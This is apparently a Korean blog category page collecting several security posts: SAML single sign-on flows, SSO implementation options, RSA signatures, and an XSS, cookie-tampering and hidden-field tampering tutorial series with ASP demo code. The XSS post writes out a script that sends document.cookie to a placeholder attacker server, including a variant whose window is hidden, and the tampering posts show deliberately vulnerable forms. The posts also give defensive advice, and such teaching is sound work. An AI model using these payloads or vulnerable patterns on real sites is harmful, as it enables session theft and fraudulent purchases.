HTTP GET, POST 또는 SOAP 웹서비스 등 여러가지 방법으로 구현될 수 있으며, 여기서는 HTTP Post를 이용한 SSO 원리와 솔루션 설계시 유의 사항을 설명한다.


1. Site Sp A로 초기 로그인







    1. Browser에서 사이트 SpA로 접속한다.
    2. 사이트 SpA에는 로그인이 되어 있지 않기 때문에 (세션이 없어서). SpA에서는 SAML request를 만들어서, Browser에게로 redirect URL을 보낸다.
    3. Browser는 redirect URL에 따라 IdP에 접속하고, Idp에서 login form을 넣고 log in을 한다. 이때, IdP와 Brower 사이에 HttpSession 또는 Cookie로 Login에 대한 정보를 기록한다. 그리고 다시 사이트 SpA로의 SAML response를 포함한 redirect URL을 browser로 전송한다.
    4. Browser는 SAML reponse를 가지고 SpA로 접속하면, SpA에는 인증된 정보를 가지고 로그인 처리를 한다. ※ 이 과정에서는 바로 사이트 SpA의 사용자 페이지(예를 들어 /home)등으로 가는 것이 아니라, SAML에 의해서 미리 정의한 SpA의 SAML response 처리 URL로 갔다가 SAML response를 처리가 끝나면 인증 처리를 한후, 사용자 페이지(/home)으로 다시 redirect한다.

2. Site Sp A로 로그인된 상태에서 Site Sp B로 로그인






  1. 사이트 SpA에서 로그인된 상태에서 SpB에 접속한다.
  2. 사이트 SpB는 로그인이 되어 있지 않기 때문에, SAML 메시지를 만들어서 IdP의 login from으로 redirect URL을 보낸다.
  3. 브라우져는 redirect URL을 따라서 IdP에 접속을 한다. IdP에 접속을 하면 앞의 과정에서 이미 Session 또는 Cookie가 만들어져 있기 때문에 별도의 로그인 폼을 띄위지 않고, SAML response message와 함께, SpB로의 redirect URL을 전송한다. 
  4. Browser는 Sp B에 인증된 정보를 가지고 로그인한다.

 

솔루션과 설계시 유의 사항


여기서 두 가지 기술적인 이슈가 발생하는데 

첫번째는 IdP에는 대규모 사용자를 지원할 경우, Session 정보를 어떻게 분산 저장할것인가이다.

WSO2 Identity server의 경우에는 각 instance의 memory에 이 session 정보를 저장하고, 자체 clustering feature를 이용하여 이 session을 상호 복제한다. Oracle WebLogic이나 Apache Tomcat cluster의 Http session clustering과 같은 원리이다.

이 경우에 각 instance의 메모리 size에 따라 저장할 수 있는 session의 수의 한계를 가지게 되고, instance간 session 복제로 인하여, 장애 전파 등의 가능성을 가지게 된다.

그래서 Shibboleth의 경우에는 이 Session 정보를 별도의 terracotta와 같은 data grid에 저장하도록 하여, 확장성을 보장할 수 있다.

두번째는 로그 아웃에 대한 문제인다.

Sp A나 Sp B에 SAML을 이용한 초기 인증이 성공한 경우, 제 로그인(인증)을 막기 위해서 자체적으로 HttpSession등을 사용하여, 별도의 log in session을 유지해야 하는데, 이경우 Sp A,Sp B의 Session Time out 시간이 다를 수 있기 때문에, 한 사이트에서 log out이 된 경우 전체 사이트에 걸쳐서 log out이 안될 수 있는 incosistency 문제가 발생한다.

그래서 WSO2 identity server의 경우에는 별도의 logout URL을 정의하여, IdP에서 log out을 한경우에 전체 사이트에서 log out을 시키는 global log out 기능을 제공한다.


SAML 기반의 SSO 솔루션은 대표적으로

simplePHPSAML - 가장 널리 쓰이고, 사용이 쉽다.

Shibboleth - java stack으로 구현이 되어 있으며, terracotta를 이용하여 session을 저장하기 때문에 상대적으로 확장성이 높다.

WSO2 identity server - 앞에서도 언급하였듯이, 확장성에 문제가 있는 것으로 보이며, 자체 OSGi 컨테이너인 carbon 엔진 위에서 동작한다. SAML 뿐만 아니라 OAuth,STS 서비스를 추가 지원하며, Provisioning protocol인 SCIM도 함께 지원한다. 오픈 소스이지만, 제품 완성도가 매우 높고, 사용이 매우 쉽다. (모니터링,관리 기능등이 강점)

Open AM - Sun IDM을 모태로 하여, 현재 오픈소스화 되었다. 아무래도 enterprise 제품을 기반으로 하다 보니 복잡도가 상대적으로 높다.

CAS - TBD



http://bcho.tistory.com/m/post/755


'보안' 카테고리의 다른 글

SAML  (0) 2014.04.18
SSO(Single Sign-On)  (0) 2014.04.18
SSO 구현 방법  (0) 2014.04.18
SSO( Single Sign On )  (0) 2014.04.18
[암호화] RSA (Rivest-Shamir-Adleman)  (0) 2011.07.12
:

SSO 구현 방법

보안 2014. 4. 18. 16:41

** SSO와 세션 클러스터링 의미비교

Single Sign On(통합인증)을 "하나의 아이디/패스워드로 여러 어플리케이션에 접근할 수 있도록 관리하는 
통합시스템"을 의미하는 개념적인 층위의 용어라고 할 때, 자바에서의 세션 클러스터링은 이를 구체화한 실제 방법론중의 하나, 즉 SSO의 하위개념으로 해석할 수 있을 듯 합니다.

또한, 자바 세션 클러스터링은 일반적 SSO의 기능인 사용자의 로그인 여부 판별과 고유 아이디 인증을 넘어서,단일 어플리케이션 상황에서와 마찬가지의 세션 스코프 유지를, 별개의 어플리케이션 또은 물리서버 사이에서도가능하도록 하는 데에 초점이 맞춰져 있는 논제같습니다. 
즉, 다수의 어플리케이션간에 세션 스코프를 연결하고, 스코프에 저장되는 자바 오브젝트들의 상태를 유지할 수 있도록 보장하는 것입니다.


** A,B,C,D 서버가 있다고 할 때의 일반적인 SSO 구현방식

** 1. 
사용자가 로그인을 성공할 경우 로그인 처리 페이지가 A,B,C,D 서버에 있는 각각의 loginok.jsp 페이지를 
IFRAME을 통해 동시에 호출합니다. 
이때, A,B,C,D 서버의 loginok.jsp 페이지는 해당 브라우저 사용자에 대해 로그인 처리를 하고, Requset에 담겨온 loginid를 이용해서 세션에 사용자정보를 담습니다. 로그아웃도 마찬가지로 처리합니다. 
4개의 세션이 별개로 생기는 셈이지만, 이는 모두 공통된 하나의 브라우저에 대응하므로, 브라우저가 
종료되면 동시에 소멸됩니다. 
세션간의 연동(객체 전달같은)은 불가능하지만, 하나의 브라우저에 대해서 각각의 어플리케이션이 
동일한 인증상태를 유지하고 있고, 각각의 세션에 저장된 사용자 정보가 동일한 것이라는 무결성을 
획득할 수 있습니다. 
  
** 2. 
쿠키를 이용하는 방법 (가장 대중적, 메인 도메인이 같을 때) 
로그인하면, 고유의 키를 만들어 쿠키에 저장합니다. 각각의 사이트에서는 쿠키에 담긴 이 키값의 여부로, 로그인 여부를 판단하고 세션을 생성하며 키값에 따른 고유한 사용자 정보를 뽑아와 세션에 저장합니다. 
로그아웃시에는 쿠키를 지워줍니다.

** 3. 
하나의 서버에서 인증처리를 전담하는 방법 
로그인과 세션을 관리하는 A서버의 a페이지를, 통합인증이 필요한 모든 페이지에서 프레임으로 포함하고, 
처리에 필요한 사용자정보를 여기에 요청, 응답받습니다. a페이지는 XMLHttpRequest를 이용 페이지 갱신없이 A서버의 다른 프로그램을 호출하고 응답을 얻어옵니다.

- 시나리오 
1. 메인프레임에서 로그인프레임에 로그인여부 질의 top.loginFrame.getIsLogin(); 
2. 로그인 프레임의 a페이지는 응답받을 메인프레임의 함수를 이벤트로 등록후 서버측에 요청을 보냅니다.
   sendRequest("./isLogin.jsp","data","top.mainFrame.isLogin"); 
3. 요청받은 서버는 세션을 참조하여 로그인 여부 판단, XMLHttpRequest에 응답합니다. 
4. 서버에서의 응답값을 매개변수로 top.mainFrame.isLogin(isLogin); 이 실행됩니다.

일반적인 방법은 아닙니다.

** 4. 
세션 클러스터링을 이용한 방법 
고유한 키값을 쿠키나 기타 장소에 보관하고, 별개의 서버 프로그램과 소켓으로 통신하여 키값에 대해 배당된 컬렉션에서, 직렬화된 자바객체를 꺼내오거나 혹은 저장하며 그 상태를 유지시키는 방법입니다. 키값(연결)이 유지되는 한, 저장소내의 동일한 객체에 접근할 수 있다는 보장을 만들어줍니다. 즉, 통합 인증보다는, 인증 후의 데이터 공유에 촛점이 맞춰져 있는 것 같습니다.

** 5. 
통합인증 솔루션 사용  


출처 - http://devsik.tistory.com/53

'보안' 카테고리의 다른 글

SSO(Single Sign-On)  (0) 2014.04.18
SAML 기반의 web sso 원리 정리  (0) 2014.04.18
SSO( Single Sign On )  (0) 2014.04.18
[암호화] RSA (Rivest-Shamir-Adleman)  (0) 2011.07.12
7. XSS(CSS)  (0) 2010.11.23
:

SSO( Single Sign On )

보안 2014. 4. 18. 16:40

능력이 있으면 가지고 있는 능력만큼 할 수 있는 일이 많기도 하지만 그 만큼 할 수 있는 일에 대한 책임과 제약이 따르기도 한다. 호텔에서 ‘마스터 키’를 가지고 있는 사람은 어느 방이든지 열어볼 수는 있지만 아무 방이나 들어가 볼 수는 없다. 설사 발을 들여 놓는다고 해도 위험부담이 너무 클 것이다.

인터넷 세상에서도 ‘개인정보보호’라는 다소 막중한 책임을 가진 마스터 키가 나왔다. 한 번의 로그인으로 여러 사이트를 넘나들 수 있는 싱글 사인 온(single-sign-on)이 그것이다.

호텔에서의 ‘마스터 키’가 호텔 내의 모든 방(실제 투숙자가 누구이든 간에)을 열 수 있는 열쇠라면, 싱글 사인 온은 전세계 호텔들에 산재해 있는 내 방들을 모두 열 수 있는 열쇠라고나 할까?

지난 해 한국전자통신연구원(ETRI)이 자체적으로 개발한 싱글 사인 온(single-sign-on)기술이 ‘SAML(보안주장표현언어) 버전 2.0 상호운용성 국제 표준 테스트’를 통과했다. ‘SAML 버전 2.0’은 싱글 사인 온(SSO) 및 ID 연동 기능을 지원하는 국제 표준 규격이며 이전 버전에 비해 익명성, 식별자 관리, 모바일 장비 지원, 프라이버시 보호 기능 등이 추가됐다. 

이로써 인터넷 사용자는 매번 ID를 입력하는 불편을 해소할 수 있고, 기업 역시 중앙집중적인 관리가 가능해 ID관리 비용을 줄일 수 있게 됐다. 싱글 사인 온의 장점이 부각되면서 다음커뮤니케이션과 CJ인터넷의 넷마블의 검색 및 게임 플랫폼 공유라는 것을 시작으로 전국적인 지사를 갖춘 행정기관, 금융기관도 잇따라 싱글 사인 온을 도입하고 있다. 

싱글 사인 온이 통용화된다면 손가락들은 수고를 좀 덜지 모르겠다. 하지만 개인정보 유출이다 도난이다 하는 뉴스가 이어지고 있는 요즘, 100% 웹사이트를 신뢰하면서 내 개인정보를 한 군데 저장해 두고 인터넷 바다를 헤엄치기에는 미심쩍은 부분이 많다. ‘프라이버시 보호’는 싱글 사인 온이 가져야 할 가장 막중한 임무가 아닌가 싶다. 싱글 사인 온이 인터넷 사용자들의 편의를 위하여 고안된 것이니만큼 진정으로 개개인의 사생활을 보호하는 책임 있는 마스터 키로써의 역할을 충실히 해줬으면 하는 바람이다.

 

- 출처 " 영삼성 "

 

관련기사 " 소프트포럼, ID관리 솔루션 대전시청 공급 " - 스탁데일리

관련기사 " 로그인 한번에 모든 사이트 이용 " - 서울경제


출처 - http://devsik.tistory.com/51

'보안' 카테고리의 다른 글

SAML 기반의 web sso 원리 정리  (0) 2014.04.18
SSO 구현 방법  (0) 2014.04.18
[암호화] RSA (Rivest-Shamir-Adleman)  (0) 2011.07.12
7. XSS(CSS)  (0) 2010.11.23
6. 데이터 변조 – 쿠키 변조  (0) 2010.11.23
:

[암호화] RSA (Rivest-Shamir-Adleman)

보안 2011. 7. 12. 18:28

RSA (Rivest-Shamir-Adleman)

RSA는 1977년에 Ron Rivest, Adi Shamir와 Leonard Adleman에 의해 개발된 알고리즘을 사용하는 인터넷 암호화  인증 시스템이다. RSA 알고리즘은 가장 보편적으로 사용되는 암호화 및 인증 알고리즘으로서, 넷스케이프와 마이크로소프트 웹브라우저 기능의 일부로 포함된다. 이것은 또한 로터스 노츠, 인튜잇의 Quicken 등 많은 제품에 채용되어 있기도 하다. 이 암호화 시스템의 소유권은 RSA Security라는 회사가 가지고 있다. 이 회사는 알고리즘 기술들을 라이선스 해주고, 또 개발도구 등을 판매하기도 한다. 이 기술들은 기존에 이미 나와있거나 제안되어 있는 웹, 인터넷 및 컴퓨팅 표준들의 일부를 이루고 있다.

RSA 시스템의 동작원리

공개키와 개인키의 획득에 사용되는 알고리즘의 상세한 수학적 설명은 RSA 웹사이트에서 찾아볼 수 있다. 간단히 말해, 이 알고리즘은 두 개의 큰 소수 (소수는 그 숫자와 1로만 나누어지는 수이다)들의 곱과, 추가 연산을 통해 하나는 공개키를 구성하고 또하나는 개인키를 구성하는데 사용되는 두 세트의 수 체계를 유도하는 작업이 수반된다. 한번 그 키들이 만들어지면, 원래의 소수는 더 이상 중요하지 않으며, 버릴 수 있다. 공개 및 개인키 둘 모두는 암호화/복호화를 위해 필요하지만, 오직 개인키의 소유자만이 그것을 알 필요가 있다. RSA 시스템을 사용하면, 개인키는 절대로 인터넷을 통해 보내지지 않는다.

개인키는 공개키에 의해 암호화된 텍스트를 복호화하는데 사용된다. 그러므로, 내가 만약 누군가에게 메시지를 보내는 상황을 가정해 보면, 나는 중앙의 관리자로부터 수신자의 공개키를 찾은 다음, 그 공개키를 사용하여 보내는 메시지를 암호화할 수 있다. 수신자는 그것을 받아서, 자신의 개인키로 복호화하면 된다. 프라이버시를 확실하게 하기 위해 메시지를 암호화하는 것 외에도, 자신의 개인키를 사용하여 디지털 서명을 암호화해서 함께 보냄으로써, 그 메시지가 틀림없이 바로 당신에게서 온 것임을 받는 사람에게 확신시켜줄 수 있다. 메시지를 받은 사람은, 발신자의 공개키를 이용해 메시지를 복호화할 수 있다. 아래의 표가 이러한 과정을 이해하는데 도움을 줄 수 있을 것이다.



구 분 누구의 어떤 키를 사용하나?
암호화된 메시지를 보냄 수신자의 공개키
암호화된 서명을 보냄 발신자의 개인키
암호화된 메시지를 복호화 수신자의 개인키
암호화된 서명 (발신자 인증) 을 복호화 발신자의 공개키



@RSA의 대표적인 사용 예 -> 전자서명

- 보통 어떠한 종이문서에 검수자의 서명이 되어 있으면 독자에게 신뢰를 줄 수 있다. 문서에 서명이 되어 있다는 것은 문서의 내용이 정확하고 누군가에 의해 검증이 되었다는 뜻이기 때문이다. 전자서명도 이와 마찬가지다. 차이점은 종이문서 대신 디지털 문서에 서명을 하는 것이다. 전자서명은 크게 서명(Signing)과 인증(Verification) 두 가지 과정으로 나뉜다. 서명은 문서가 검증되었음을 알리는 과정이고, 인증은 독자가 해당 문서에 서명이 되었는지를 확인하는 과정이다.

- 원리는 문서 데이터의 해쉬(hash)값을 비교해서 일치하는지 여부를 검증하는 것이다. 서명자는 문서의 데이터를 해쉬함수(hash function)를 통해 해쉬값을 생성하고, 생성된 해쉬값을 비밀키(Private Key)로 암호화한 후 문서에 첨부한다. 반대로 서명된 문서인지 검증하기 위해서 서명 부분을 따로 떼내어 공개키(Public Key)로 복호화하고, 문서에서 서명을 제외한 데이터를 다시 같은 해쉬함수를 통해 해쉬값을 얻어낸다. 두가지 값이 일치하는지 확인하여 일치하면 서명된 문서이고, 그렇지 않으면 서명되지 않은 문서인 셈이다.

'보안' 카테고리의 다른 글

SSO 구현 방법  (0) 2014.04.18
SSO( Single Sign On )  (0) 2014.04.18
7. XSS(CSS)  (0) 2010.11.23
6. 데이터 변조 – 쿠키 변조  (0) 2010.11.23
5 데이터 변조 – 히든 필드 변조  (0) 2010.11.23
:

7. XSS(CSS)

보안 2010. 11. 23. 18:59

* XSS ?

Cross Site Script 의 약자로 CSS 또는 XSS 라 불리는 공격 기법입니다.

XSS 공격은 웹 사이트를 공격 대상으로 하는 것이 아니라 사용자를 대상으로

하는 공격 기법입니다.

, 선의의 사용자의 유용한 정보(쿠키 or 세션)를 훔쳐 도용하는 방법이라 볼 수 있습니다.

세션도 쿠키의 일종으로 서버와 클라이언트가 동시에 저장하는 구조를 가집니다.

(세션에 대한 자세한 사항이 이전 글을 참고 해 주세요)

이 세션 정보를 훔쳐 내어 세션의 유효기간 내에(일반적으로 20) 동일 세션으로

위장하여 사이트에 불법 로그인을 하는 형태의 공격이 주를 이룹니다.

이미 세션 가로채기는 앞서 알아본 바가 있습니다.

세션 가로채기에서 언급하였던 다른 사용자의 세션을 알아내는 XSS 공격기법이

바로 이것이지요.

 

* XSS 공격 시나리오

1. 악의의 사용자는 유료 회원용 게시판에 관심을 끌만한 제목으로 글을 등록합니다.

   이때 사용자의 쿠키정보를 훔쳐내는 악성코드를 삽입합니다.

   물론 사용자는 이 글을 봐도 자신의 정보가 빠져 나갔는지 알 수 없게 하겠지요.

2. 선의의 사용자는 그 글을 읽기 위해 사이트에 로그인을 하고 해당 게시물에 접근합니다.

3. 게시물을 보는 순간 악성 스크립트가 실행되어 선의의 사용자의 정보가 지정된 서버로 고스란히 전송 됩니다.

4. 기다리고 있던 악의의 사용자는 이 정보를 취득하여 사이트에 불법 로그인을 합니다.

   (웹 프록시 툴등을 사용하여 세션정보를 변경하는 방법으로..)

  

 

 

* XSS 공격 방법
지금부터 간단한 데모를 통해 XSS 공격 방법을 살펴 봅니다.

데모를 위해 간단한 게시판 환경을 재연 합니다.
상황을 간단히 하기 위해 DB 연동은 제외 합니다.

 

1.Write.asp (글쓰기 폼)

<form name="myform" method="post" action="Content.asp">

제목 : <input type="text" name="subject" size=30> <p>

내용 : <br>

<textarea name="content" cols=35 rows=10></textarea> <br>

<input type="submit" value="등록">

</form>

2. Content.asp (
글 보기)

<%

  subject = request("subject")

  content = request("content")

%>

 

제목 : <%=subject%> <p>

내용 : <%=content %>

 

정상적인 시나리오 라면 아래와 같은 시퀀스로 게시물이 등록될 것입니다.

 


   

 

 2. 글 보기 화면


   

 

DB 연동 과정이 생략 되었지만 게시판 구현과 얼쭈 유사 하지요..

그럼 이번에 XSS 공격용 코드를 게시물에 아래와 같이 등록해 봅니다.
<script>

cookieValue = document.cookie;

document.write(cookieValue);

</script>

 



   

그리고 나서 글 보기 화면은 아래와 같을 것입니다.

 

 


 

현재 글을 보는 사용자의 세션 ID 가 그대로 노출 되는 것이지요..

만일 이 세션ID가 서버와 공유된, 즉 단순 세션 기반의 사용자 식별을 위한

세션 값이었다면 이 값을 사용자 권한을 얻는 값으로 사용될 것입니다.

물론 현재 상황처럼 단순히 글을 보는 것에 그친다면 각 사용자들은

자신의 세션 ID 를 보는 것이기에 상관은 없는 시나리오이간 합니다.

그럼 XSS 공격은 어떤 시나리오를 가질까요?

바로 아래와 같습니다.

* XSS 공격 방법

1. 악의의 사용자는 회원인증을 통해야만 볼 수 있는 게시판 등에 세션 ID를 얻을 수 있는

   코드를 등록한다. 글을 보게 될 선의의 사용자의 세션 ID를 얻어서 자신의 서버로

   전송하는 코드가 될 것이다.

2. 선의의 사용자는 아무 생각 없이 등록된 글을 언젠가 읽게 될 것이다.

3. 글을 읽게 된 선의의 사용자의 세션 ID가 악의의 사용자가 지정해 놓은 서버로 전송된다.

4. 악의의 사용자는 이 세션 ID를 취득하여 해당 사이트에 세션 값 변조를 통해

   선의의 사용자 ID로 로그인을 할 수 있게 된다

5. 남의 ID로 로그인한 악의의 사용자는 온갖 짓을 할게 뻔하다.

위의 시나리오를 재현 해 봅니다.

우선 아래와 같은 코드를 게시물에 등록합니다.

<script>

url="http://127.0.0.1/XSS.asp?url="+document.location+"&cookie=" + document.cookie;

window.open(url,"","width=500,height=200");

</script>

테스트를 위해 127.0.0.1 의 주소를 사용하지만 실제로 이 주소는

악의의 사용자가 지정한 서버의 주소가 될 것입니다.

결과 화면을 아래와 같습니다.

 

 


 

새롭게 오픈 된 창은 실제 환경에서는 악의의 사용자가 만들어 놓은, 악의의 사용자만이

볼 수 있는 화면이 될 것입니다.

, 위 코드는 테스트를 위해 127.0.0.1 ip 를 사용하며 또한 오픈 창 역시

바로 볼 수 있도록 하였습니다.

그러나 실제 공격에서는 선의의 사용자는 이 화면이 보이지 않게 하기 위해

오픈 창의 위치 등을 조정하여 숨길 것입니다. 아래와 같이

<script>

url="http://공격용웹서버/XSS.asp?url="+document.location+"&cookie=" + document.cookie;

window.open(url,"","width=500,height=200,top=1000");

</script>

위와 같이 오픈 되는 창의 위치를 top=1000 으로 하면 창은 오픈되지만

창이 화면에 보이지는 않습니다.

, 작업표시줄에는 나타 납니다. 간혹 가다가 눈에 보이는 창은 없는데

작업표시줄에는 있는 것이 바로 창의 위치가 조정된 것 입니다.

(, 위치가 조정된 창이라고 하여 무조건 XSS 공격용 창은 아닙니다.

 일반적인 다른 처리를 위해서도 창의 위치를 조정하여 처리하는 경우도 있습니다)

이렇게 하여 선의의 사용자는 알아차리지도 못한 채 자신의 세션정보가

악의의 사용자에게로 전달되는 상황이 발생하는 것입니다.

* XSS 의 또 다른 형태

XSS 공격이 주로 웹 게시판을 통해서 일어 납니다만, 이메일을 통해서도 XSS 공격이

가능합니다.

웹메일 서비스를 제공하는 사이트의 메일 주소로 위와 유사한 코드를 메일 본문에 작성하여 다른 사람에게 보냅니다.

그러면 선의의 사용자는 메일을 보기 위해 당연히 로그인을 할 것입니다.

그 후 메일을 여는 순간 자신의 세션 정보가 유출 되는 시나리오 입니다.

그리하여 알지 못하는 사람에게서 날라온 메일은 보지 않는 것이 보안상 좋다는 여러 이유중 XSS 공격도 포함되는 것입니다.

* XSS 공격 대책 방법

XSS 공격은 글을 작성할 수 있는 공간(게시판 or 이메일)에 스크립트를 작성한다는 것이

주요한 원리 입니다.

따라서 아래와 같은 방법으로 차단을 할 수 있을 것입니다.

1. 사용자의 입력 문자를 필터링 한다

   - 스크립트를 아예 사용하지 못하게 하거나 만일 html 허용 게시판 처럼

     불가피 하게 허용 하여야 할 경우 <script> 태그나 image,iframe , window.open등과

     같은 태그는 사용하지 못하도록 합니다.

2. HEX 값도 필터링 한다

1번 처럼 필터링을 한다고 해도 <script> 와 같은 태그를 HEX 값으로 변경하여

   공격을 할 수 도 있습니다. 이와 같은 경우 단순히 스크립트 문자 체크로만으로는

   방어를 할 수가 없습니다.

   따라서 주요한 스크립트의 16진수로 표현 방식에 대한 필터링도 필히

   수행되어야 합니다.

3. 늘 하는 이야기 이지만 웹 방화벽과 같은 솔루션을 도입하면 간단히

   해결 될 것입니다

[출처] 7. XSS(CSS)|작성자 캔시온

:

6. 데이터 변조 – 쿠키 변조

보안 2010. 11. 23. 18:59

이번에는 쿠키 변조에 대해 알아 봅니다.

앞에서 알아본 세션ID 변조와 크게 다르지 않습니다.

 

* 쿠키란 ?
쿠키 역시 HTTP 무 상태 프로토콜에서의 특정 클라이언트 식별 및 데이터 공유를 위해 서버와 클라이언트간에 데이터를 주고 받는 메커니즘 입니다

쿠키가 세션과 다른 점은 그 저장되는 장소가 클라이언트의 메모리 또는 하드 디스크란

점입니다(세션은 서버에도 동일한 정보가 저장되는 것을 이미 알고 있습니다)

참고로 쿠키라고 이름이 붙여진 유래는 과자의 부스러기와 유사한 개념이라고 합니다.

 

* 쿠키 변조?

예전에 쇼핑몰에서는 특정 사용자의 장바구니 정보를 유지 하기 위해 쿠키를 많이
사용하곤 했었습니다. 또한 현재까지도 쿠키는 아주 유용하게 사용되어 지고 있습니다.

사용자의 중요한 정보를 쿠키에 저장하여 사용하는 시나리오에서의 쿠키 변조는

심각한 문제를 야기 시킬 수도 있습니다.

예를 들면 사용자의 주민등록번호, 비밀번호와 같은 데이터 말이죠..

 

또한 만료 시간이 없는 쿠키 사용은 공공장소에서의 개인 정보 유출을 초래 할 수도 있습니다

 

* 쿠키 변조 방법

지금부터 간단한 데모 화면을 통해 쿠키 변조 방법을 살펴 봅니다.

데모를 위해 간단한 쿠키 설정 및 쿠키를 가져 오는 코드를 아래와 같이 작성합니다

1. SetCookie.asp

<%

  CookieValue = " 777"

  Response.Cookies("MyCookie") = CookieValue

 

  Response.Write "쿠키가 설정 되었습니다 - "& CookieValue

%>

 

2. GetCookie.asp
<%

  CookieValue = Request.Cookies("MyCookie")

 

  Response.Write CookieValue

%>


 
 

 

정상적인 시나리오 라면 아래와 같은 시퀀스로 구매과정이 일어 날 것입니다.

 

1. 쿠키 저장


   

 

2. 쿠키 값 확인

   
그러나 위 1 2의 과정에서 프록시 툴을 이용해 아래와 같이 쿠키 값을 변경합니다. 


  

 
 
그러면 위 2의 과정은 아래와 같이 될 것입니다.
 



 

777 이었던 쿠키 값이 444로 변경되어 서버로 전달 되었습니다.

쿠키 변조는 아래와 같은 사항들을 점검 하세요..

1. 개인 정보와 같은 중요한 정보는 쿠키를 사용하지 않는다.

2. 쿠키 값을 암호화 한다.

3. 웹 방화벽이나 PKI 솔루션을 도입한다

   (쿠키 변조를 차단하는 기타 보안 솔루션 도입)


'보안' 카테고리의 다른 글

[암호화] RSA (Rivest-Shamir-Adleman)  (0) 2011.07.12
7. XSS(CSS)  (0) 2010.11.23
5 데이터 변조 – 히든 필드 변조  (0) 2010.11.23
4. 데이터 변조 – 세션 변조를 통한 불법 로그인  (0) 2010.11.23
2. SQL INJECTION  (0) 2010.11.23
:

5 데이터 변조 – 히든 필드 변조

보안 2010. 11. 23. 18:58

앞에서 우리는 데이터 변조 중 세션ID 변조를 통한 불법 로그인에 대해 알아 보았습니다.

이번에는 같은 개념의 변조 방법 중 히든 필드의 변조 알아 봅니다.

 

히든 필드 역시 HTTP 의 무 상태 환경에서의 클라이언트 식별을 위해 자주 사용되는

방법 입니다.

Hidden 필드는 말 그대로 사용자에게는 보여 지지 않지만 서버와 클라이언트간에

데이터를 교환에 사용되는 일종의 이름/값 쌍을 가지는 데이터 필드 입니다

 

아래와 같은 형식으로 많이 사용하지요.

<input type=”hidden” name=”변수명” value=”데이터”>

 

이 히든 필드는 실제로 아직까지 유용한 정보 교환 방법으로 사용되어 지고 있습니다.

대체로 아래와 같은 방법으로 사용 됩니다.

1. 게시판 같은 곳에서 특정 글의 고유번호를 저장하여 수정 및 삭제 시 이용한다

2. 쇼핑몰 같은 곳에서 가격정보로 이용한다.

3. 게임사이트 같은 곳에서 포인트 정보로 이용한다.

이외에도 많은 부분 히든 필드를 사용 할 것으로 보여 집니다.

 

 

히든 필드 변조 시도 방법.

1. 쇼핑몰 사이트에서 특정 상품의 구매 과정에서 가격정보와 같은 것의 흐름을 파악한다.

2. 가격정보가 히든필드로 넘기는 것을 웹 프록시 툴로 확인한다.

3. 정상적인 가격을 아주 저가로 변조하여 구매를 완료 한다.

 

지금부터 간단한 데모 화면을 통해 위 과정을 살펴 봅니다.

 

데모를 위해 간단하게 쇼핑몰 구매 프로그램을 아래와 같이 작성 합니다.

1 Product.asp

<form method="post" action="Order.asp">

 <input type=hidden name="Price" value="500000">

 <table border=1 width=300>

  <tr>

    <td>상품명 </td>

    <td><b>트럼 세탁기</b></td>

  </tr>

  <tr>

    <td>가 격</td>

    <td>500,000</td>   

  </tt>

  <tr>

    <td>상품 설명</td>

    <td><br><br><br><br></td>

  </tr>

 <tr align=center>

    <td colspan=2><input type=submit value="구매".</td>   

  </tr>

 </table>

</form>

2. Order.asp

<%

  Price = Request("Price") 

  response.write("구매가격은 <font color=red>" & Price & "</font> 원 입니다")

%>

정상적인 시나리오 라면 아래와 같은 시퀀스로 구매과정이 일어 날 것입니다.

1. 상품 상세 정보


   

 

2. 구매 과정 중 가격


  

 

그러나 위 1 2의 과정에서 프록시 툴을 이용해 아래와 같이 가격을 변경합니다.

 


   

 

그러면 위 2의 과정은 아래와 같이 될 것입니다

 


   

   

결국 500000 원 짜리 세탁기가 1원에 판매 되는 결과를 초래 하게 되었군요..

물론 현재에는 이렇게 중요한 정보를 단순히 히든 필드로 값을 주고 받지는

않을 것이라 예상됩니다.

그러나 예전에는 아주 많은 부분의 값들이 이 히든 필드를 통해 전달 되었으며

실제로 아직까지도 그 쓰임새가 다양하고도 많이 있는 것으로 알고 있습니다.

히든 필드 변조는 아래와 같은 사항들을 점검 하세요..

1. 가격과 같이 중요한 정보는 히든 필드로 값을 판단해서는 안된다.

   최종 구매가 일어나는 시점에 다시 서버에서 가격정보를 가져 오도록 프로그래밍 한다.

2. 히든필드의 내용을 암호화 하여 전달한다.


'보안' 카테고리의 다른 글

7. XSS(CSS)  (0) 2010.11.23
6. 데이터 변조 – 쿠키 변조  (0) 2010.11.23
4. 데이터 변조 – 세션 변조를 통한 불법 로그인  (0) 2010.11.23
2. SQL INJECTION  (0) 2010.11.23
1. 웹은 보안에 취약하다? 왜???  (0) 2010.11.23
: